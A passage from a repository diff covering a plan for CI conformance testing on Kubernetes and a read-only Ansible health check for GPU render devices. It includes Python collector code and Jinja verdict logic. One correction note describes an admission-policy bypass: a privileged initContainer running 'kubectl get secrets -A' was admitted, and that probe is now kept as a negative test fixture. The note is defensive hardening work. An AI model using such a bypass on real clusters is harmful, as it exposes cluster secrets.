+changes. That is not ceremony: without it, the next agent to read `runbooks/` or an old
+CLAUDE.md habit appends to the tail again and re-creates the conflict for everybody
+else, silently, one PR at a time.
+
+If the archive genuinely must change (a leaked credential to redact, say), that is a
+deliberate, reviewed act: change it, run `sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256`,
+and say in your handoff entry why. Re-pinning is visible in the diff. Appending is not.

docs/plans/l2-l3-conformance-ci-wiring.md

@@ -33,7 +33,7 @@ agents. So the credential model must be decided by the operator before anything
 | Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). |
 | CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. |
 | Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). |
-| In-cluster Job skeleton | `conformance/incluster/chainsaw-job.yaml` | Skeleton: `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, image `ghcr.io/kyverno/chainsaw:v0.2.12`, `command: ["./run.sh"]`, args default `--layer all --strict-coverage`. **`workspace` is an empty `emptyDir` with no init-container to populate it**, and `results` is an `emptyDir`. |
+| In-cluster Job template | `conformance/incluster/chainsaw-job.yaml` | **DONE 2026-09-29 (§3 items 2+3).** `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6). |
 | Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). |
 | Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
 | Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
@@ -58,17 +58,42 @@ LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
 
 ## 3. Gaps to close (functional)
 
-1. **Runner image.** `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
+1. **Runner image.** *(Added requirement, 2026-09-29: the image MUST also install
+   `conformance/incluster/conformance-clone` at **`/usr/local/bin/conformance-clone`**, mode
+   0755, and provide a **uid 65532** non-root user. The admission policy pins that exact
+   entrypoint path and the Job pins that uid — see §4.)*
+   `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
    python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
    `./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
    `v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
    pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
    `CHAINSAW_VERSION` as the single source of truth the image is built from.
-2. **Repo at the commit-under-test.** The Job must run the suite at the PR head SHA. → Add an
+2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
+   Init container `clone-suite-at-commit` runs `/usr/local/bin/conformance-clone` with **no
+   args** — logic in `conformance/incluster/conformance-clone`, baked into the image by
+   item 1: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then
+   **assert `HEAD` == the requested SHA**. SHA arrives as a `@@CONFORMANCE_GIT_SHA@@`
+   substitution into a Job env var and is refused unless it matches `^[0-9a-f]{40}$`. The
+   clone URL is **hardcoded in the entrypoint**, not passed in env: the policy does not
+   constrain `env`, so a caller-chosen URL would let CI pick which repository's code runs as
+   `conformance-runner`. Credential = secret `conformance-git-readonly` (read-only Gitea
+   token) by **name only**, as env via `secretKeyRef` — not a volume, because admission allows
+   only `workspace` and `results`. Still to do: build the runner image (item 1, and it must
+   install the entrypoint at that exact path) and provision that Secret (item 6).
+   Original text: → Add an
    **init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
    into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
    `--requirements` are injected by the CI trigger step as Job env/args.
-3. **Results collection without giving CI exec/cp.** The Job writes `_artifacts/` to the `results`
+3. **Results collection without giving CI exec/cp.** ✅ **LANDED 2026-09-29** (`conformance/run.sh`,
+   `conf_emit_artifacts_tgz`). `CONF_EMIT_ARTIFACTS_TGZ=1` arms an **EXIT trap** — so a FAILED run
+   still ships its red JUnit — that prints the artifact tree as a base64 tar between
+   `=== ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===`. The size, base64
+   line count and digest appear in **both** markers, so a truncated `kubectl logs` fails
+   collection instead of decoding to plausible garbage; the five checks the collector owes are
+   spelled out above that function. It lives in `run.sh` and not in the Job because admission
+   pins `command` to exactly `["./run.sh"]`. Verified locally: full decode round-trips, and
+   head-truncation, tail-truncation, a dropped interior line and a single corrupted character are
+   each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes `_artifacts/` to the `results`
    volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited
    base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from
    `kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results
@@ -104,6 +129,19 @@ stack):**
 
 - SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
   `jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
+- **CORRECTION (2026-09-29): "constrain the Job's shape" means ALL THREE container lists, not
+  `containers`.** As first shipped, the policy read only `spec.template.spec.containers` and
+  `volumes`. `initContainers` was unread, so a Job with a fully compliant `containers[0]` and a
+  `privileged: true` `alpine:latest` initContainer running `kubectl get secrets -A` was
+  **ADMITTED** (`pass: 3, fail: 0`, measured with kyverno v1.19.0). Rule 1's
+  `=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` was the
+  same. Both are now covered by
+  `trigger-initcontainers-must-be-the-committed-clone-step` and
+  `trigger-may-not-declare-ephemeral-containers`, with the probes kept as negative fixtures.
+  **The lesson generalises:** an "admit only the committed shape" policy has to enumerate every
+  field that can carry executable intent, and a `pattern` over an array only asserts *at least
+  one element matches* — use `deny` conditions and cap the count. Also note the residual: no
+  rule constrains `env`, which is why the clone URL is hardcoded in the image entrypoint.
 - A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
   `system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
   committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,

infra/ansible/roles/node_health/README.md

@@ -19,9 +19,9 @@ Serves **R-ENV-01** (you cannot certify a node you have not measured), **R-ENV-0
 
 ## Contract
 
-- **Read-only and side-effect-free.** It reads `/sys`, `/proc`, `/etc`, runs `lsblk`/`lscpu`,
-  and — only when it can escalate — `smartctl`. It writes nothing to the node and
-  **installs nothing**. `smartmontools` is declared in `node_baseline_packages`; if it is
+- **Read-only and side-effect-free.** It reads `/sys`, `/proc`, `/etc`, runs `lsblk`/`lscpu`
+  (and `lspci` only if it happens to be installed), and — only when it can escalate —
+  `smartctl`. It writes nothing to the node and **installs nothing**. `smartmontools` is declared in `node_baseline_packages`; if it is
   absent the SMART checks SKIP with that as the stated reason (operator ruling 2026-08-31:
   package installation is `node_baseline`'s job, never a health check's, never a manual
   `apt-get`).
@@ -50,6 +50,9 @@ Serves **R-ENV-01** (you cannot certify a node you have not measured), **R-ENV-0
 | `memory.available`, `memory.swap`, `memory.ecc` | headroom, kubelet's swap-off prerequisite **and whether it survives a reboot** (see [Swap off is not the same as swap disabled](#swap-off-is-not-the-same-as-swap-disabled)), EDAC correctable/uncorrectable counters |
 | `memory.physical_total` | **is this machine using the RAM it has?** `/proc/zoneinfo` present-vs-managed pages (no root, metal or VM) and `MemTotal` vs the DIMM capacity SMBIOS reports (`dmidecode -t 17`, root, bare metal). Cause-independent by design — see [The EFI memattr check](#the-efi-memattr-check) |
 | `cpu.throttle`, `cpu.inventory`, `cpu.virtualisation` | thermal throttle events since boot, topology + frequency scaling, VT-x/AMD-V + `/dev/kvm` (KubeVirt, R-PLAT-03) |
+| `graphics.render_device` | is there a usable `/dev/dri/renderD*` character device — the path Plex hardware-transcodes through. See [The render-device check](#the-render-device-check) |
+| `graphics.drm_driver` | which DRM driver is bound to the display device, against `node_health_graphics_expected_driver` (`i915` here) |
+| `graphics.media_stack` | **INFO only**: `vcs*`/`vecs*` media engines, GuC/HuC firmware state, host VAAPI userspace. None of these is ever graded — see below for why |
 | `thermal.max` | hottest sensor across thermal zones and hwmon chips |
 | `pressure.cpu` / `.memory` / `.io` | PSI `some avg60` — dev learned to care about CPU PSI specifically |
 | `network.link`, `network.errors`, `network.resolvers` | link state/speed, NIC error counters, DNS upstream redundancy per address family |
@@ -91,6 +94,78 @@ used to blame that state on "this node has not been baselined yet", which sent t
 back to re-run the role that had already run.
 
 
+## The render-device check
+
+Plex transcodes on the iGPU through `/dev/dri/renderD128`. **When that node stops existing,
+nothing fails loudly.** Plex falls back to software transcoding by itself; the only symptom
+is a hot CPU and stuttering clients. A node rebuild, a BIOS change that disables the onboard
+IGD, a kernel that binds a different DRM driver, or a driver regression all produce exactly
+that silent degradation.
+
+The state was measured by hand on all three prod nodes on 2026-09-30 and found working. **A
+fact measured once decays silently**, so it is re-measured on every health run instead of
+living in a runbook. Nothing is installed, no module is loaded, no group is changed — the
+role's read-only contract is unchanged.
+
+| fact | where it comes from | root? |
+|---|---|---|
+| `/dev/dri` contents, ownership, mode, char-vs-not | `lstat()` on each entry | no |
+| owning group **name** for the render node's gid | `grp.getgrgid()` | no |
+| bound DRM driver | `/sys/class/drm/card*/device/driver` symlink target | no |
+| is the iGPU on the bus at all | `/sys/bus/pci/devices/*/class` (PCI base class `0x03`) | no |
+| media engines (`vcs*`, `vecs*`) | `/sys/class/drm/card*/engine/*` | no |
+| module load state | `/proc/modules` | no |
+| GuC/HuC | `/sys/module/i915/parameters/enable_guc` + `/proc/cmdline` | **parameter file is mode 0400** |
+
+### The PCI scan is separate from the DRM scan on purpose
+
+`/sys/class/drm/card*` exists only once a driver has **bound**. A machine whose iGPU sits on
+the bus with nothing attached has no `card0` at all — and that is precisely the failure being
+hunted. So the display device is looked for on the PCI bus independently, from sysfs, which
+is always there. That is what lets `graphics.render_device` distinguish
+
+- *no GPU in this machine* → **SKIP** (a VM guest; nothing to grade, the same convention
+  `thermal.max` uses for "no sensor on this hardware"), from
+- *a GPU is on the bus and there is still no render node* → **FAIL**.
+
+`lspci` is used **only** to decorate the PCI entry with a readable name, and it is treated as
+optional because it is: `pciutils` is **not** declared in `node_baseline_packages`, so nothing
+in this repo guarantees it. It did turn out to be present on all three prod nodes
+(`/usr/bin/lspci`, measured 2026-09-30 — Debian installs `pciutils` by default), but depending
+on that would mean depending on an undeclared package. Absent, `description` is `null`, the
+numeric IDs are printed instead, and no verdict changes.
+
+### The render node's GID is reported, never asserted
+
+The render device was `root:render`, **gid 992**, mode `0660` on all three prod nodes on
+2026-09-30. The check does **not** compare against `992`, and must not be changed to.
+`render` is a **systemd dynamic allocation** (`systemd-sysusers`), not a Debian static gid
+from `base-passwd`, so a rebuilt node can legitimately land on a different number. Plex's own
+container entrypoint stats the device and joins whichever group owns it, so drift genuinely
+is not a fault. Recording the observed group name and gid in the detail line makes drift
+**visible** without making it an error — a hard `!= 992` would be a false alarm waiting for a
+reinstall.
+
+What *is* configurable is the expected DRM driver, `node_health_graphics_expected_driver`
+(default `i915`), so the verdict stays out of task logic. `xe` bound instead of `i915` is a
+**WARN**, not a FAIL: the device still works, but the two drivers do not share a userspace
+media stack and a libva/iHD build that transcodes correctly against one is not automatically
+right for the other. On these nodes `xe.ko.xz` exists on disk and is bound to nothing.
+
+### Two things that are informational and must stay that way
+
+- **GuC/HuC firmware not loaded** (`i915.enable_guc=0`) is a known, accepted state here. It
+  costs low-power H.264 encode *quality* only; decode and encode both still run on the media
+  engines. Grading it would put a permanent WARN on a chosen configuration.
+- **No host VAAPI userspace / no `vainfo`** is **not a defect**. Plex ships its own libva and
+  media driver inside its container, so the host needs neither. Flagging it would invite
+  someone to `apt install vainfo` on a node to clear a health check — and this role installs
+  nothing.
+
+`enable_guc` is one of i915's `0400` module parameters, so an unprivileged pass usually
+cannot read it. It reports as an honest `NOT READ — <reason>` rather than a fabricated `0`,
+with `/proc/cmdline` as the world-readable second source for an explicit boot override.
+
 ## The EFI memattr check
 
 `infra/PROD-PROVISIONING.md` §0b is authoritative; this is only what the check needs.
@@ -273,3 +348,10 @@ stays `null` — no claim is made either way.
   but the wear/endurance context SKIPs rather than guessing.
 - `ioerr_cnt` counts commands the kernel saw fail, which includes benign rejected or
   unsupported commands during discovery. Attribution needs `dmesg`, which needs root.
+- `graphics.render_device`'s **FAIL path has never fired against a real node** — every prod
+  node has a working render device, and the role is read-only so one cannot be taken away to
+  prove it. The failure branches were exercised against synthetic fact sets only. The same
+  applies to the `xe`-bound WARN: no node here has `xe` bound.
+- `graphics.*` proves the render **device** exists and which driver owns it. It does **not**
+  prove a transcode succeeds — that needs a VAAPI round trip inside Plex's own container,
+  with Plex's own libva, which is out of scope for a node-level check that installs nothing.

infra/ansible/roles/node_health/defaults/main.yml

@@ -35,6 +35,24 @@ node_health_try_privileged: true
 # --nocheck=standby: never spin up a sleeping disk just to read it. Read-only hygiene.
 node_health_smartctl_args: "--json=c --all --nocheck=standby"
 
+# --- Graphics / render device ---------------------------------------------------------
+# The DRM driver this site EXPECTS to be bound to its display device. Measured on all three
+# prod nodes 2026-09-30: `i915` on the CoffeeLake-S GT2 [UHD Graphics 630] iGPU of every HP
+# EliteDesk 800 G5 Mini. The newer `xe` module is present on disk as xe.ko.xz but is bound to
+# nothing, and that difference matters enough to surface: the two drivers do not share a
+# userspace media stack (a libva/iHD build that works against i915 is not automatically the
+# right one for xe), so a silent switch would change Plex's transcoding path. A site on AMD
+# or NVIDIA sets this to `amdgpu` / `nouveau` / `nvidia` rather than editing task logic.
+#
+# WHAT IS DELIBERATELY *NOT* A SETTING HERE: the numeric GID of the render node's owning
+# group. `render` is a systemd DYNAMIC allocation (systemd-sysusers), not a Debian static
+# one, so a rebuilt node may legitimately land on a different number — it was 992 on all
+# three prod nodes on 2026-09-30, and an assertion against that literal would be a false
+# alarm waiting to happen. Plex's own container entrypoint stats the device and joins
+# whichever group owns it, so drift genuinely is not a fault. The observed group name and GID
+# are therefore REPORTED in the check detail and never graded.
+node_health_graphics_expected_driver: i915
+
 # --- Thresholds ---------------------------------------------------------------------
 # All verdicts come from here, so a site can retune without touching task logic.
 node_health_thresholds:

infra/ansible/roles/node_health/files/node_health_collect.py

@@ -35,10 +35,13 @@
 # =============================================================================
 
 import glob
+import grp
 import json
 import os
+import pwd
 import re
 import shutil
+import stat
 import subprocess
 import sys
 import time
@@ -756,6 +759,212 @@ def collect_pressure():
     return out
 
 
+# --- Graphics / DRM render device -----------------------------------------------------
+# WHY THIS IS HERE AT ALL. Plex transcodes on the iGPU through /dev/dri/renderD128. If that
+# node stops existing — a node rebuild, a BIOS change that disables the IGD, a kernel that
+# binds a different DRM driver — nothing breaks loudly: Plex silently falls back to software
+# transcoding and the only symptom is a hot CPU. So the render device is measured on every
+# health run rather than being a fact someone established once by hand.
+#
+# EVERYTHING BELOW IS UNPRIVILEGED. /dev/dri is world-traversable, the device nodes are
+# stat()able by anyone, /sys/class/drm and /sys/bus/pci/devices are world-readable, and so
+# are the module parameters under /sys/module. Nothing here needs root, so nothing here
+# belongs in the privileged pass. (GuC/HuC *load* status lives in debugfs, which does need
+# root AND debugfs mounted; the module PARAMETER below is the unprivileged stand-in and is
+# what actually decides whether the firmware is loaded at all.)
+#
+# THE PCI SCAN IS DELIBERATELY SEPARATE FROM THE DRM SCAN. /sys/class/drm/card* only exists
+# once a driver has BOUND. A machine whose iGPU is on the bus with no driver bound has no
+# card0 at all, and that is precisely the failure this is meant to catch — so the display
+# device is looked for on the PCI bus independently, from sysfs, which is always there.
+# `lspci` is used ONLY to decorate that with a human-readable name, and it is treated as
+# optional because it IS optional: pciutils is not declared in node_baseline_packages, so
+# nothing in this repo guarantees it. It did turn out to be present on all three prod nodes
+# (/usr/bin/lspci, measured 2026-09-30 — Debian installs pciutils by default), but relying on
+# that would make the collector depend on an undeclared package. A missing lspci leaves
+# `description` null, the numeric IDs are reported instead, and no verdict changes.
+DISPLAY_PCI_CLASS_PREFIX = "0x03"  # PCI base class 03 = display controller (VGA/3D/other)
+# DRM drivers worth reporting the load state of. The bound-driver symlink is authoritative
+# (a built-in driver never appears in /proc/modules); this is corroboration only, and it is
+# how "xe.ko.xz exists on disk but is bound to nothing" becomes a visible fact.
+DRM_MODULES = ("i915", "xe", "amdgpu", "radeon", "nouveau", "nvidia")
+
+
+def _uid_name(uid):
+    try:
+        return pwd.getpwuid(uid).pw_name
+    except (KeyError, OverflowError, TypeError, OSError):
+        return None
+
+
+def _gid_name(gid):
+    """Group NAME for a numeric gid, or None when nothing resolves it.
+
+    Reported as an OBSERVED value, never asserted against a literal. The `render` group is
+    a systemd DYNAMIC allocation (it is created by systemd-sysusers, not fixed by Debian's
+    static base-passwd list), so its gid can legitimately differ after a rebuild. Plex's own
+    container init stats the device and joins whatever group owns it, so a moved gid is
+    drift to notice, not a fault to fail on."""
+    try:
+        return grp.getgrgid(gid).gr_name
+    except (KeyError, OverflowError, TypeError, OSError):
+        return None
+
+
+def _module_param(mod, param):
+    """One /sys/module/<mod>/parameters/<param>, with WHY it is missing when it is.
+
+    Three outcomes that must not be conflated: a real value; "the module exposes no such
+    parameter" (not loaded, built in, or a driver that simply has no such knob — xe has no
+    enable_guc, GuC is mandatory there); and "the file exists but is mode 0400". Most i915
+    module parameters are `i915_param_named(..., 0400, ...)` — root-only — so an
+    unprivileged pass legitimately cannot read them. Returning null with the reason keeps
+    that an honest UNKNOWN instead of a fabricated 0. read_text() also records the
+    permission denial in UNREADABLE, so the summary lists it with everything else root
+    would add."""
+    path = "/sys/module/%s/parameters/%s" % (mod, param)
+    if not os.path.exists(path):
+        return {"value": None, "reason": "%s exposes no %s parameter (module not loaded, "
+                                         "built in, or no such knob on this driver)" % (mod, param)}
+    value = read_text(path)
+    if value is None:
+        return {"value": None, "reason": "%s is not readable without root (i915 module "
+                                         "parameters are mode 0400)" % path}
+    return {"value": value, "reason": None}
+
+
+def _dev_node(path):
+    """stat() one /dev/dri entry. lstat, so a symlink is reported as the symlink it is."""
+    try:
+        st = os.lstat(path)
+    except OSError as exc:
+        UNREADABLE.append({"path": path, "reason": "stat failed: %s" % exc})
+        return None
+    return {
+        "path": path,
+        "name": os.path.basename(path),
+        "char_device": stat.S_ISCHR(st.st_mode),
+        "mode": "%04o" % stat.S_IMODE(st.st_mode),
+        "uid": st.st_uid,
+        "gid": st.st_gid,
+        "owner": _uid_name(st.st_uid),
+        "group": _gid_name(st.st_gid),
+    }
+
+
+def collect_graphics():
+    dri_dir = "/dev/dri"
+    dri_present = os.path.isdir(dri_dir)
+    devices = []
+    if dri_present:
+        for path in sorted(glob.glob(dri_dir + "/*")):
+            # /dev/dri/by-path/ is a directory of symlinks, not a device. Skipping
+            # directories rather than filtering to char devices is deliberate: anything
+            # in here that is NOT a character special file is an anomaly worth seeing, and
+            # `char_device: false` is how it becomes visible.
+            if os.path.isdir(path):
+                continue
+            entry = _dev_node(path)
+            if entry is not None:
+                devices.append(entry)
+    render_nodes = [d for d in devices if d["name"].startswith("renderD")]
+
+    # Bound DRM devices. /sys/class/drm also holds one entry per CONNECTOR
+    # (card0-HDMI-A-1, card0-DP-1 ...) — those are outputs, not devices, and are skipped.
+    cards = []
+    for cdir in sorted(glob.glob("/sys/class/drm/card[0-9]*")):
+        name = os.path.basename(cdir)
+        if "-" in name:
+            continue
+        driver = None
+        drvlink = cdir + "/device/driver"
+        if os.path.islink(drvlink):
+            driver = os.path.basename(os.path.realpath(drvlink))
+        address = None
+        devlink = cdir + "/device"
+        if os.path.islink(devlink):
+            address = os.path.basename(os.path.realpath(devlink))
+        # i915/xe publish one directory per hardware engine. vcs* is a video (H.264/HEVC)
+        # engine and vecs* the video-enhancement engine: those two are what a transcode
+        # actually runs on, so their presence is the difference between "a GPU is bound"
+        # and "this GPU can do media work".
+        engines = sorted(
+            {
+                os.path.basename(p)
+                for p in (glob.glob(cdir + "/engine/*") + glob.glob(cdir + "/device/engine/*"))
+                if os.path.isdir(p)
+            }
+        )
+        cards.append(
+            {
+                "card": name,
+                "driver": driver,
+                "pci_address": address,
+                "vendor_id": read_text(cdir + "/device/vendor"),
+                "device_id": read_text(cdir + "/device/device"),
+                "engines": engines,
+                "media_engines": [e for e in engines if e.startswith(("vcs", "vecs"))],
+            }
+        )
+
+    # Display-class devices on the PCI bus, driver bound or not.
+    pci_display = []
+    for pdir in sorted(glob.glob("/sys/bus/pci/devices/*")):
+        class_id = read_text(pdir + "/class") or ""
+        if not class_id.startswith(DISPLAY_PCI_CLASS_PREFIX):
+            continue
+        address = os.path.basename(pdir)
+        driver = None
+        if os.path.islink(pdir + "/driver"):
+            driver = os.path.basename(os.path.realpath(pdir + "/driver"))
+        description = None
+        rc, out, _ = run(["lspci", "-nn", "-s", address])
+        if rc == 0 and out.strip():
+            description = out.strip().splitlines()[0]
+        pci_display.append(
+            {
+                "address": address,
+                "class_id": class_id or None,
+                "vendor_id": read_text(pdir + "/vendor"),
+                "device_id": read_text(pdir + "/device"),
+                "revision": read_text(pdir + "/revision"),
+                "driver": driver,
+                "description": description,
+            }
+        )
+
+    loaded = set()
+    for line in (read_text("/proc/modules") or "").splitlines():
+        fields = line.split()
+        if fields:
+            loaded.add(fields[0])
+    modules = {m: (m in loaded) for m in DRM_MODULES}
+
+    # GuC/HuC. i915's `enable_guc` is a bitmask: 0 = neither, 1 = GuC submission, 2 = HuC
+    # firmware, 3 = both, -1 = whatever the driver defaults to on this platform. It is the
+    # one place the state is visible without root AND without debugfs — but the sysfs file
+    # is mode 0400, so unprivileged it usually reads back as an honest UNKNOWN. The kernel
+    # command line is the world-readable second source: an explicit `i915.enable_guc=` there
+    # is authoritative about what was ASKED for, even when the parameter file cannot be read.
+    uc = {mod: {"enable_guc": _module_param(mod, "enable_guc")} for mod in ("i915", "xe")}
+    cmdline_params = [
+        token
+        for token in (read_text("/proc/cmdline") or "").split()
+        if token.startswith(tuple("%s." % m for m in DRM_MODULES))
+    ]
+
+    return {
+        "dri_present": dri_present,
+        "devices": devices,
+        "render_nodes": render_nodes,
+        "drm_cards": cards,
+        "pci_display": pci_display,
+        "modules": modules,
+        "uc": uc,
+        "cmdline_params": cmdline_params,
+    }
+
+
 # --- Storage ------------------------------------------------------------------------
 PSEUDO_FS = {
     "proc", "sysfs", "devtmpfs", "devpts", "tmpfs", "cgroup", "cgroup2", "pstore",
@@ -1095,7 +1304,15 @@ def collect_os():
 # we only DETECT, and the role skips the SMART checks with an accurate reason.
 def collect_tools():
     tools = {}
-    for tool in ("smartctl", "nvme", "ethtool", "dmidecode", "lsblk", "lscpu"):
+    # lspci (pciutils) and vainfo (libva-utils) are BOTH optional and NEITHER is declared in
+    # node_baseline_packages, so nothing in this repo guarantees either. Measured on prod
+    # 2026-09-30: lspci IS there (/usr/bin/lspci — Debian ships pciutils by default) and
+    # vainfo is NOT. lspci only decorates the PCI display entry with a readable name; vainfo
+    # is not needed on the host at all, because Plex ships its own libva and media driver
+    # inside its container. They are probed so the report can state their presence or absence
+    # as a fact instead of leaving the reader to wonder — and so nothing here is ever tempted
+    # to install them. This role installs nothing.
+    for tool in ("smartctl", "nvme", "ethtool", "dmidecode", "lsblk", "lscpu", "lspci", "vainfo"):
         tools[tool] = which(tool)
     return tools
 
@@ -1127,6 +1344,7 @@ def main():
         "os": collect_os(),
         "dmi": collect_dmi(),
         "cpu": collect_cpu(),
+        "graphics": collect_graphics(),
         "memory": collect_memory(),
         "thermal": collect_thermal(),
         "pressure": collect_pressure(),

infra/ansible/roles/node_health/tasks/assess.yml

@@ -652,6 +652,204 @@
          ~ (', lscpu Virtualization=' ~ c.virtualization if c.virtualization else '')
          ~ (', running as a guest of ' ~ c.hypervisor_vendor if c.is_virtual_guest | bool else '') }}
 
+# --- Graphics / render device ----------------------------------------------------------
+# WHY A HEALTH CHECK AND NOT A NOTE IN A RUNBOOK. Plex transcodes on the iGPU through
+# /dev/dri/renderD128. When that node stops existing nothing fails loudly — Plex falls back
+# to software transcoding on its own and the only symptom is a hot CPU and stuttering
+# clients. A node rebuild, a BIOS setting that disables the onboard IGD, or a kernel that
+# binds a different DRM driver all produce exactly that silent degradation. It was measured
+# by hand on all three prod nodes on 2026-09-30 and found working; a fact measured once
+# decays silently, so it is re-measured on every health run instead.
+#
+# READ-ONLY, AND UNPRIVILEGED. Every fact behind these three checks comes from the
+# unprivileged pass: stat() on /dev/dri, the /sys/class/drm bound-driver symlink,
+# /sys/bus/pci/devices class codes, /proc/modules and /proc/cmdline. The role installs
+# nothing (no vainfo, no pciutils), loads no module and changes no group — see the role
+# README. The ONE fact that is root-gated is i915's enable_guc module parameter (mode 0400),
+# and it reports as an honest UNKNOWN with the reason rather than as a 0.
+#
+# THE THREE VERDICTS ARE SPLIT ON PURPOSE:
+#   graphics.render_device  the OUTCOME — can anything hardware-transcode on this node.
+#   graphics.drm_driver     the CAUSE side — what is bound, and is it what this site expects.
+#   graphics.media_stack    INFO only. GuC/HuC and host VAAPI userspace both belong here and
+#                           NEITHER is ever a failure; see the task's own comment for why.
+- name: Assess — locate the display device and its bound driver (once, shared by three checks)
+  ansible.builtin.set_fact:
+    node_health_render:
+      # Display-class PCI devices (base class 0x03), driver bound or not. This is the
+      # question "is there a GPU in this machine at all", and it is answered from the PCI
+      # bus rather than from /sys/class/drm because a card* entry only exists once a driver
+      # has BOUND — so a GPU with nothing bound to it has no card* and would otherwise look
+      # identical to a machine with no GPU.
+      display_devices: "{{ g.pci_display }}"
+      bound_drivers: >-
+        {{ g.pci_display | map(attribute='driver') | select('string') | unique | list }}
+      # Only a CHARACTER SPECIAL file is a usable render node. Anything else called renderD*
+      # is an anomaly, not a device, and must not be counted as one.
+      render_chardevs: "{{ g.render_nodes | selectattr('char_device') | list }}"
+      # Video (vcs*) and video-enhancement (vecs*) engines across every bound card — the
+      # difference between "a GPU is bound" and "this GPU can do media work".
+      media_engines: >-
+        {{ g.drm_cards | map(attribute='media_engines') | flatten | unique | sort | list }}
+  vars:
+    ansible_become: false
+    g: "{{ node_health_facts.graphics }}"
+
+- name: Assess — DRM render node for hardware transcoding
+  ansible.builtin.set_fact:
+    node_health_checks: "{{ node_health_checks + [{
+      'id': 'graphics.render_device',
+      'title': 'DRM render node present for hardware transcoding (/dev/dri/renderD*)',
+      'status': render_status,
+      'detail': render_detail }] }}"
+  vars:
+    ansible_become: false
+    g: "{{ node_health_facts.graphics }}"
+    r: "{{ node_health_render }}"
+    # SKIP, not PASS and not FAIL, when the machine has no display device at all: there is
+    # then nothing to grade, and the same convention thermal.max already uses for "no sensor
+    # on this hardware" applies. FAIL is reserved for the state that actually breaks Plex —
+    # a GPU IS on the bus and there is still no render node.
+    render_status: >-
+      {{ 'SKIP' if (r.display_devices | length) == 0
+         else ('PASS' if (r.render_chardevs | length) > 0 else 'FAIL') }}
+    dri_listing: >-
+      {{ (g.devices | map(attribute='name') | join(', ')) if (g.devices | length) > 0
+         else 'nothing' }}
+    render_detail: >-
+      {%- if (r.display_devices | length) == 0 -%}
+      this machine exposes no display-class PCI device (base class 0x03) at all, so there is
+      no GPU here for a render node to belong to and hardware transcoding is not available on
+      this node by construction. Normal for a VM guest. Measured from /sys/bus/pci/devices,
+      not assumed.
+      {%- elif (r.render_chardevs | length) > 0 -%}
+      {{ r.render_chardevs | length }} render node(s):
+      {% for d in r.render_chardevs %}{{ d.path }} (character special, mode {{ d.mode }},
+      owner {{ d.owner | default(d.uid, true) }}, group {{ d.group | default('unresolved', true) }}
+      gid {{ d.gid }}){{ ', ' if not loop.last else '' }}{% endfor %}.
+      /dev/dri holds: {{ dri_listing }}.
+      THE OWNING GROUP AND GID ARE REPORTED AS OBSERVED, NEVER ASSERTED against a literal:
+      `render` is a systemd DYNAMIC allocation rather than a Debian static one, so a rebuilt
+      node may legitimately land on a different number (all three prod nodes read gid 992 on
+      2026-09-30), and Plex's container entrypoint stats the device and joins whichever group
+      owns it. Drift is therefore visible in this line without being a failure.
+      {%- else -%}
